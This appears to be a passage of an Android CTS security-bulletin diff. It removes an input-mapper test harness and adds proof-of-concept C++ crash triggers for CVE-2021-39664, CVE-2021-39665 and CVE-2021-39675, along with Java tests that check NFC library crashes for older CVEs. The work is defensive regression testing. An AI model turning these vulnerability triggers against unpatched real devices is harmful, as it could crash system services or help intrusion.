0; - return -1; - } - - // Return true if the device has non-empty key layout. - bool markSupportedKeyCodes(int32_t deviceId, size_t numCodes, const int32_t* keyCodes, - uint8_t* outFlags) const override { - bool result = false; - Device* device = getDevice(deviceId); - if (device) { - result = device->keysByScanCode.size() > 0 || device->keysByUsageCode.size() > 0; - for (size_t i = 0; i < numCodes; i++) { - for (size_t j = 0; j < device->keysByScanCode.size(); j++) { - if (keyCodes[i] == device->keysByScanCode.valueAt(j).keyCode) { - outFlags[i] = 1; - } - } - for (size_t j = 0; j < device->keysByUsageCode.size(); j++) { - if (keyCodes[i] == device->keysByUsageCode.valueAt(j).keyCode) { - outFlags[i] = 1; - } - } - } - } - return result; - } - - bool hasScanCode(int32_t deviceId, int32_t scanCode) const override { - Device* device = getDevice(deviceId); - if (device) { - ssize_t index = device->keysByScanCode.indexOfKey(scanCode); - return index >= 0; - } - return false; - } - - bool hasLed(int32_t deviceId, int32_t led) const override { - Device* device = getDevice(deviceId); - return device && device->leds.indexOfKey(led) >= 0; - } - - void setLedState(int32_t deviceId, int32_t led, bool on) override {} - - void getVirtualKeyDefinitions( - int32_t deviceId, std::vector<VirtualKeyDefinition>& outVirtualKeys) const override { - outVirtualKeys.clear(); - - Device* device = getDevice(deviceId); - if (device) { - outVirtualKeys = device->virtualKeys; - } - } - - const std::shared_ptr<KeyCharacterMap> getKeyCharacterMap(int32_t) const override { - return nullptr; - } - - bool setKeyboardLayoutOverlay(int32_t, std::shared_ptr<KeyCharacterMap>) override { - return false; - } - - void vibrate(int32_t, const VibrationElement&) override {} - - void cancelVibrate(int32_t) override {} - - std::vector<int32_t> getVibratorIds(int32_t deviceId) override { return mVibrators; }; - - std::optional<int32_t> getBatteryCapacity(int32_t, int32_t) const override { - return BATTERY_CAPACITY; - } - - std::optional<int32_t> getBatteryStatus(int32_t, int32_t) const override { - return BATTERY_STATUS; - } - - const std::vector<int32_t> getRawBatteryIds(int32_t deviceId) { return {}; } - - std::optional<RawBatteryInfo> getRawBatteryInfo(int32_t deviceId, int32_t batteryId) { - return std::nullopt; - } - - const std::vector<int32_t> getRawLightIds(int32_t deviceId) override { - std::vector<int32_t> ids; - for (const auto& [rawId, info] : mRawLightInfos) { - ids.push_back(rawId); - } - return ids; - } - - std::optional<RawLightInfo> getRawLightInfo(int32_t deviceId, int32_t lightId) override { - auto it = mRawLightInfos.find(lightId); - if (it == mRawLightInfos.end()) { - return std::nullopt; - } - return it->second; - } - - void setLightBrightness(int32_t deviceId, int32_t lightId, int32_t brightness) override { - mLightBrightness.emplace(lightId, brightness); - } - - void setLightIntensities(int32_t deviceId, int32_t lightId, - std::unordered_map<LightColor, int32_t> intensities) override { - mLightIntensities.emplace(lightId, intensities); - }; - - std::optional<int32_t> getLightBrightness(int32_t deviceId, int32_t lightId) override { - auto lightIt = mLightBrightness.find(lightId); - if (lightIt == mLightBrightness.end()) { - return std::nullopt; - } - return lightIt->second; - } - - std::optional<std::unordered_map<LightColor, int32_t>> getLightIntensities( - int32_t deviceId, int32_t lightId) override { - auto lightIt = mLightIntensities.find(lightId); - if (lightIt == mLightIntensities.end()) { - return std::nullopt; - } - return lightIt->second; - }; - - virtual bool isExternal(int32_t) const { return false; } - - void dump(std::string&) override {} - - void monitor() override {} - - void requestReopenDevices() override {} - - void wake() override {} -}; - -// --- TestInputMapper--- - -class TestInputMapper : public InputMapper { - uint32_t mSources; - int32_t mKeyboardType; - int32_t mMetaState; - KeyedVector<int32_t, int32_t> mKeyCodeStates; - KeyedVector<int32_t, int32_t> mScanCodeStates; - KeyedVector<int32_t, int32_t> mSwitchStates; - std::vector<int32_t> mSupportedKeyCodes; - - std::mutex mLock; - std::condition_variable mStateChangedCondition; - bool mConfigureWasCalled GUARDED_BY(mLock); - bool mResetWasCalled GUARDED_BY(mLock); - bool mProcessWasCalled GUARDED_BY(mLock); - RawEvent mLastEvent GUARDED_BY(mLock); - - std::optional<DisplayViewport> mViewport; - -public: - TestInputMapper(InputDeviceContext& deviceContext, uint32_t sources) - : InputMapper(deviceContext), - mSources(sources), - mKeyboardType(AINPUT_KEYBOARD_TYPE_NONE), - mMetaState(0), - mConfigureWasCalled(false), - mResetWasCalled(false), - mProcessWasCalled(false) {} - - virtual ~TestInputMapper() {} - - void setKeyboardType(int32_t keyboardType) { mKeyboardType = keyboardType; } - - void setMetaState(int32_t metaState) { mMetaState = metaState; } - void setKeyCodeState(int32_t keyCode, int32_t state) { - mKeyCodeStates.replaceValueFor(keyCode, state); - } - - void setScanCodeState(int32_t scanCode, int32_t state) { - mScanCodeStates.replaceValueFor(scanCode, state); - } - - void setSwitchState(int32_t switchCode, int32_t state) { - mSwitchStates.replaceValueFor(switchCode, state); - } - - void addSupportedKeyCode(int32_t keyCode) { mSupportedKeyCodes.push_back(keyCode); } - -private: - uint32_t getSources() override { return mSources; } - - void populateDeviceInfo(InputDeviceInfo* deviceInfo) override { - InputMapper::populateDeviceInfo(deviceInfo); - - if (mKeyboardType != AINPUT_KEYBOARD_TYPE_NONE) { - deviceInfo->setKeyboardType(mKeyboardType); - } - } - - void configure(nsecs_t, const InputReaderConfiguration* config, uint32_t changes) override { - std::scoped_lock<std::mutex> lock(mLock); - mConfigureWasCalled = true; - - // Find the associated viewport if exist. - const std::optional<uint8_t> displayPort = getDeviceContext().getAssociatedDisplayPort(); - if (displayPort && (changes & InputReaderConfiguration::CHANGE_DISPLAY_INFO)) { - mViewport = config->getDisplayViewportByPort(*displayPort); - } - - mStateChangedCondition.notify_all(); - } - - void reset(nsecs_t) override { - std::scoped_lock<std::mutex> lock(mLock); - mResetWasCalled = true; - mStateChangedCondition.notify_all(); - } - - void process(const RawEvent* rawEvent) override { - std::scoped_lock<std::mutex> lock(mLock); - mLastEvent = *rawEvent; - mProcessWasCalled = true; - mStateChangedCondition.notify_all(); - } - - int32_t getKeyCodeState(uint32_t, int32_t keyCode) override { - ssize_t index = mKeyCodeStates.indexOfKey(keyCode); - return index >= 0 ? mKeyCodeStates.valueAt(index) : AKEY_STATE_UNKNOWN; - } - - int32_t getScanCodeState(uint32_t, int32_t scanCode) override { - ssize_t index = mScanCodeStates.indexOfKey(scanCode); - return index >= 0 ? mScanCodeStates.valueAt(index) : AKEY_STATE_UNKNOWN; - } - - int32_t getSwitchState(uint32_t, int32_t switchCode) override { - ssize_t index = mSwitchStates.indexOfKey(switchCode); - return index >= 0 ? mSwitchStates.valueAt(index) : AKEY_STATE_UNKNOWN; - } - - // Return true if the device has non-empty key layout. - bool markSupportedKeyCodes(uint32_t, size_t numCodes, const int32_t* keyCodes, - uint8_t* outFlags) override { - for (size_t i = 0; i < numCodes; i++) { - for (size_t j = 0; j < mSupportedKeyCodes.size(); j++) { - if (keyCodes[i] == mSupportedKeyCodes[j]) { - outFlags[i] = 1; - } - } - } - bool result = mSupportedKeyCodes.size() > 0; - return result; - } - - virtual int32_t getMetaState() { return mMetaState; } - - virtual void fadePointer() {} - - virtual std::optional<int32_t> getAssociatedDisplay() { - if (mViewport) { - return std::make_optional(mViewport->displayId); - } - return std::nullopt; - } -}; - -// --- InstrumentedInputReader --- - -class InstrumentedInputReader : public InputReader { - std::queue<std::shared_ptr<InputDevice>> mNextDevices; - -public: - InstrumentedInputReader(std::shared_ptr<EventHubInterface> eventHub, - const sp<InputReaderPolicyInterface>& policy, - const sp<InputListenerInterface>& listener) - : InputReader(eventHub, policy, listener), mTestContext(this) {} - - virtual ~InstrumentedInputReader() {} - - void pushNextDevice(std::shared_ptr<InputDevice> device) { mNextDevices.push(device); } - - std::shared_ptr<InputDevice> newDevice(int32_t deviceId, const std::string& name, - const std::string& location = "") { - InputDeviceIdentifier identifier; - identifier.name = name; - identifier.location = location; - int32_t generation = deviceId + 1; - return std::make_shared<InputDevice>(&mTestContext, deviceId, generation, identifier); - } - - // Make the protected loopOnce method accessible to tests. - using InputReader::loopOnce; - -protected: - virtual std::shared_ptr<InputDevice> createDeviceLocked(int32_t eventHubId, - const InputDeviceIdentifier& identifier) - REQUIRES(mLock) { - if (!mNextDevices.empty()) { - std::shared_ptr<InputDevice> device(std::move(mNextDevices.front())); - mNextDevices.pop(); - return device; - } - return InputReader::createDeviceLocked(eventHubId, identifier); - } - - // --- TestInputReaderContext --- - class TestInputReaderContext : public ContextImpl { - int32_t mGlobalMetaState; - bool mUpdateGlobalMetaStateWasCalled; - int32_t mGeneration; - - public: - TestInputReaderContext(InputReader* reader) - : ContextImpl(reader), - mGlobalMetaState(0), - mUpdateGlobalMetaStateWasCalled(false), - mGeneration(1) {} - - virtual ~TestInputReaderContext() {} - - void assertUpdateGlobalMetaStateWasCalled() { mUpdateGlobalMetaStateWasCalled = false; } - - void setGlobalMetaState(int32_t state) { mGlobalMetaState = state; } - - uint32_t getGeneration() { return mGeneration; } - - void updateGlobalMetaState() override { - mUpdateGlobalMetaStateWasCalled = true; - ContextImpl::updateGlobalMetaState(); - } - - int32_t getGlobalMetaState() override { - return mGlobalMetaState | ContextImpl::getGlobalMetaState(); - } - - int32_t bumpGeneration() override { - mGeneration = ContextImpl::bumpGeneration(); - return mGeneration; - } - } mTestContext; - -public: - TestInputReaderContext* getContext() { return &mTestContext; } -}; - -// --- InputMapperTest --- - -class InputMapperTest { -public: - std::shared_ptr<TestEventHub> mTestEventHub; - sp<TestInputReaderPolicy> mTestPolicy; - sp<TestInputListener> mTestListener; - std::unique_ptr<InstrumentedInputReader> mReader; - std::shared_ptr<InputDevice> mDevice; - - virtual void SetUp(Flags<InputDeviceClass> classes) { - mTestEventHub = std::make_unique<TestEventHub>(); - mTestPolicy = new TestInputReaderPolicy(); - mTestListener = new TestInputListener(); - mReader = std::make_unique<InstrumentedInputReader>(mTestEventHub, mTestPolicy, - mTestListener); - mDevice = newDevice(DEVICE_ID, DEVICE_NAME, DEVICE_LOCATION, EVENTHUB_ID, classes); - } - - void SetUp() { SetUp(DEVICE_CLASSES); } - - void TearDown() { - mTestListener.clear(); - mTestPolicy.clear(); - } - virtual ~InputMapperTest() {} - - void addConfigurationProperty(const char* key, const char* value) { - mTestEventHub->addConfigurationProperty(EVENTHUB_ID, String8(key), String8(value)); - } - - void configureDevice(uint32_t changes) { - if (!changes || (changes & InputReaderConfiguration::CHANGE_DISPLAY_INFO)) { - mReader->requestRefreshConfiguration(changes); - mReader->loopOnce(); - } - mDevice->configure(ARBITRARY_TIME, mTestPolicy->getReaderConfiguration(), changes); - } - - std::shared_ptr<InputDevice> newDevice(int32_t deviceId, const std::string& name, - const std::string& location, int32_t eventHubId, - Flags<InputDeviceClass> classes) { - InputDeviceIdentifier identifier; - identifier.name = name; - identifier.location = location; - std::shared_ptr<InputDevice> device = - std::make_shared<InputDevice>(mReader->getContext(), deviceId, DEVICE_GENERATION, - identifier); - mReader->pushNextDevice(device); - mTestEventHub->addDevice(eventHubId, name, classes); - mReader->loopOnce(); - return device; - } - - template <class T, typename... Args> - T& addMapperAndConfigure(Args... args) { - T& mapper = mDevice->addMapper<T>(EVENTHUB_ID, args...); - configureDevice(0); - mDevice->reset(ARBITRARY_TIME); - mapper.reset(ARBITRARY_TIME); - return mapper; - } - - void setDisplayInfoAndReconfigure(int32_t displayId, int32_t width, int32_t height, - int32_t orientation, const std::string& uniqueId, - std::optional<uint8_t> physicalPort, - ViewportType viewportType) { - mTestPolicy->addDisplayViewport(displayId, width, height, orientation, true /*isActive*/, - uniqueId, physicalPort, viewportType); - configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO); - } - - void clearViewports() { mTestPolicy->clearViewports(); } - - void process(InputMapper& mapper, nsecs_t when, nsecs_t readTime, int32_t type, int32_t code, - int32_t value) { - RawEvent event; - event.when = when; - event.readTime = readTime; - event.deviceId = mapper.getDeviceContext().getEventHubId(); - event.type = type; - event.code = code; - event.value = value; - mapper.process(&event); - mReader->loopOnce(); - } - void Process_DeactivateViewport_AbortTouches(); -}; - -void InputMapperTest::Process_DeactivateViewport_AbortTouches() { - SetUp(); - addConfigurationProperty("touch.deviceType", "touchScreen"); - mTestPolicy->addDisplayViewport(DISPLAY_ID, DISPLAY_WIDTH, DISPLAY_HEIGHT, - DISPLAY_ORIENTATION_0, true /*isActive*/, UNIQUE_ID, NO_PORT, - ViewportType::INTERNAL); - std::optional<DisplayViewport> optionalDisplayViewport = - mTestPolicy->getDisplayViewportByUniqueId(UNIQUE_ID); - DisplayViewport displayViewport = *optionalDisplayViewport; - - configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO); - mTestEventHub->addAbsoluteAxis(EVENTHUB_ID, ABS_MT_POSITION_X, RAW_X_MIN, RAW_X_MAX, 0, 0); - mTestEventHub->addAbsoluteAxis(EVENTHUB_ID, ABS_MT_POSITION_Y, RAW_Y_MIN, RAW_Y_MAX, 0, 0); - MultiTouchInputMapper& mapper = addMapperAndConfigure<MultiTouchInputMapper>(); - - // Finger down - int32_t x = 100, y = 100; - process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x); - process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y); - process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0); - - NotifyMotionArgs motionArgs; - - // Deactivate display viewport - displayViewport.isActive = false; - mTestPolicy->updateViewport(displayViewport); - configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO); - - // Finger move - x += 10, y += 10; - process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x); - process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y); - process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0); - - // Reactivate display viewport - displayViewport.isActive = true; - mTestPolicy->updateViewport(displayViewport); - configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO); - - // Finger move again - x += 10, y += 10; - process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x); - process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y); - process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0); -} - -} // namespace android - -int main() { - android::InputMapperTest inputMapperTest; - inputMapperTest.Process_DeactivateViewport_AbortTouches(); - return 0; -} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp new file mode 100644 index 00000000000..8fd68012c9c --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +cc_test { + name: "CVE-2021-39664", + defaults: [ + "cts_hostsidetests_securitybulletin_defaults", + ], + srcs: [ + "poc.cpp", + ":cts_hostsidetests_securitybulletin_memutils", + ], + shared_libs: [ + "libandroidfw", + "libui", + ], + cflags: [ + "-DCHECK_OVERFLOW", + "-DENABLE_SELECTIVE_OVERLOADING", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp new file mode 100644 index 00000000000..0c477f6eb18 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp @@ -0,0 +1,65 @@ +/** + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include <androidfw/ApkAssets.h> + +#include <vector> +#include "../includes/common.h" +#include "../includes/memutils.h" + +using android::LoadedArsc; + +bool testInProgress = false; +char enable_selective_overload = ENABLE_NONE; +FILE *file = nullptr; + +struct sigaction new_action, old_action; +void sigsegv_handler(int signum, siginfo_t *info, void *context) { + if (testInProgress && info->si_signo == SIGSEGV) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + _exit(EXIT_FAILURE); +} + +void exitHandler(void) { + if (file) { + fclose(file); + file = nullptr; + } +} + +int main(int argc, char **argv) { + atexit(exitHandler); + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigsegv_handler; + sigaction(SIGSEGV, &new_action, &old_action); + FAIL_CHECK(argc >= 2); + file = fopen(argv[1], "r"); + FAIL_CHECK(file); + fseek(file, 0, SEEK_END); + size_t size = ftell(file); + fseek(file, 0, SEEK_SET); + enable_selective_overload = ENABLE_ALL; + std::vector<uint8_t> buffer(size); + enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK; + FAIL_CHECK(fread((void *)buffer.data(), 1, size, file) == size); + testInProgress = true; + LoadedArsc::Load(buffer.data(), size); + testInProgress = false; + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp new file mode 100644 index 00000000000..0597cdfa9c1 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +cc_test { + name: "CVE-2021-39665", + defaults: [ + "cts_hostsidetests_securitybulletin_defaults" + ], + srcs: [ + "poc.cpp", + ], + shared_libs: [ + "libutils", + "libmediaplayerservice", + "libstagefright_foundation", + ], + include_dirs: [ + "frameworks/av/media/libstagefright/rtsp", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp new file mode 100644 index 00000000000..a0080058784 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp @@ -0,0 +1,84 @@ +/** + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include <dlfcn.h> +#include "../includes/common.h" + +#define private public +#include "AAVCAssembler.h" + +using namespace android; + +bool isOverloadingEnabled = false; + +bool isTestInProgress = false; + +struct sigaction newAction, oldAction; + +static void *(*realMalloc)(size_t) = nullptr; + +void *malloc(size_t size) { + if (!realMalloc) { + realMalloc = (void *(*)(size_t))dlsym(RTLD_NEXT, "malloc"); + if (!realMalloc) { + return nullptr; + } + } + if (isOverloadingEnabled && (size == 0)) { + size_t pageSize = sysconf(_SC_PAGE_SIZE); + void *ptr = memalign(pageSize, pageSize); + mprotect(ptr, pageSize, PROT_NONE); + return ptr; + } + return realMalloc(size); +} + +void sigsegv_handler(int signum, siginfo_t *info, void *context) { + if (isTestInProgress && info->si_signo == SIGSEGV) { + (*oldAction.sa_sigaction)(signum, info, context); + return; + } + _exit(EXIT_FAILURE); +} + +int main() { + sigemptyset(&newAction.sa_mask); + newAction.sa_flags = SA_SIGINFO; + newAction.sa_sigaction = sigsegv_handler; + sigaction(SIGSEGV, &newAction, &oldAction); + + sp<ABuffer> buffer(new ABuffer(16)); + FAIL_CHECK(buffer != nullptr); + + sp<AMessage> meta = buffer->meta(); + FAIL_CHECK(meta != nullptr); + + uint32_t rtpTime = 16; + meta->setInt32("rtp-time", rtpTime); + + AAVCAssembler *assembler = new AAVCAssembler(meta); + FAIL_CHECK(assembler != nullptr); + + isOverloadingEnabled = true; + sp<ABuffer> zeroSizedBuffer(new ABuffer(0)); + isOverloadingEnabled = false; + + isTestInProgress = true; + assembler->checkSpsUpdated(zeroSizedBuffer); + isTestInProgress = false; + + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp new file mode 100644 index 00000000000..b4bdd3c07f0 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp @@ -0,0 +1,39 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +cc_test { + name: "CVE-2021-39675", + compile_multilib: "64", + defaults: [ + "cts_hostsidetests_securitybulletin_defaults", + ], + srcs: [ + "poc.cpp", + ], + shared_libs: [ + "libnfc-nci", + ], + include_dirs: [ + "system/nfc/src/include", + "system/nfc/src/gki/common", + "system/nfc/src/gki/ulinux", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp new file mode 100644 index 00000000000..78ebda8c62b --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp @@ -0,0 +1,22 @@ +/** + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include "../includes/common.h" +#include "gki.h" + +int main() { + return (GKI_getbuf(USHRT_MAX) == nullptr) ? EXIT_SUCCESS : EXIT_VULNERABLE; +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java index 63a5370188f..75bbd0ac298 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java @@ -23,10 +23,10 @@ import org.junit.Test; import org.junit.Before; import org.junit.runner.RunWith; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; @RunWith(DeviceJUnit4ClassRunner.class) -public final class Bug_183613671 extends BaseHostJUnit4Test { +public final class Bug_183613671 extends StsExtraBusinessLogicHostTestBase { private static final String TEST_PKG = "android.security.cts.BUG_183613671"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "BUG-183613671.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java index e31cb479c0e..adf6103043a 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java @@ -25,10 +25,10 @@ import org.junit.Before; import org.junit.runner.RunWith; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; @RunWith(DeviceJUnit4ClassRunner.class) -public final class Bug_183963253 extends BaseHostJUnit4Test { +public final class Bug_183963253 extends StsExtraBusinessLogicHostTestBase { private static final String TEST_PKG = "android.security.cts.BUG_183963253"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "BUG-183963253.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java index 31da488db56..b127c851d70 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2021 The Android Open Source Project + * Copyright (C) 2022 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. @@ -14,14 +14,19 @@ * limitations under the License. */ + package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + import com.android.compatibility.common.util.CrashUtils; -import com.android.tradefed.device.ITestDevice; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import org.junit.Test; + +import java.util.regex.Pattern; + import org.junit.runner.RunWith; +import org.junit.Test; @RunWith(DeviceJUnit4ClassRunner.class) public class CVE_2018_9558 extends SecurityTestCase { @@ -29,16 +34,23 @@ public class CVE_2018_9558 extends SecurityTestCase { /** * b/112161557 * Vulnerability Behaviour: SIGABRT in self + * Vulnerable Library: libnfc-nci (As per AOSP code) + * Vulnerable Function: rw_t2t_handle_tlv_detect_rsp (As per AOSP code) */ @Test @AsbSecurityTest(cveBugId = 112161557) public void testPocCVE_2018_9558() throws Exception { AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); pocPusher.only64(); + String signals[] = {CrashUtils.SIGABRT}; String binaryName = "CVE-2018-9558"; - String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT}; AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); - testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName); + testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName)) + .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci", + "rw_t2t_handle_tlv_detect_rsp")); + testConfig.config + .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath")); testConfig.config.setSignals(signals); AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java new file mode 100644 index 00000000000..181d660df48 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java @@ -0,0 +1,56 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import java.util.regex.Pattern; + +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2019_2012 extends SecurityTestCase { + + /** + * b/120497437 + * Vulnerability Behaviour: SIGSEGV in self + * Vulnerable Library: libnfc-nci (As per AOSP code) + * Vulnerable Function: rw_t3t_update_block (As per AOSP code) + */ + @AsbSecurityTest(cveBugId = 120497437) + @Test + public void testPocCVE_2019_2012() throws Exception { + AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); + pocPusher.only64(); + String signals[] = {CrashUtils.SIGSEGV}; + String binaryName = "CVE-2019-2012"; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName)) + .setBacktraceIncludes( + new BacktraceFilterPattern("libnfc-nci", "rw_t3t_update_block")); + testConfig.config + .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath")); + testConfig.config.setSignals(signals); + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java new file mode 100644 index 00000000000..b7c2ea8fab3 --- /dev/null +++ 